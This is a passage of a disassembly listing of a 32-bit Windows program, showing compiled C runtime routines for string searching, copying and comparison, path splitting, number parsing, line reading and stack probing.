jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
; ---------------------------------------------------------------------------
loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD261[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: ___:0041E645p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D084, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D084, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D084, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE78
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDDC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 26C0722h
test eax, eax
jnz short loc_41C7D2
nop
call near ptr 26C0CC8h
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; ___:0041E5BDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE28
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
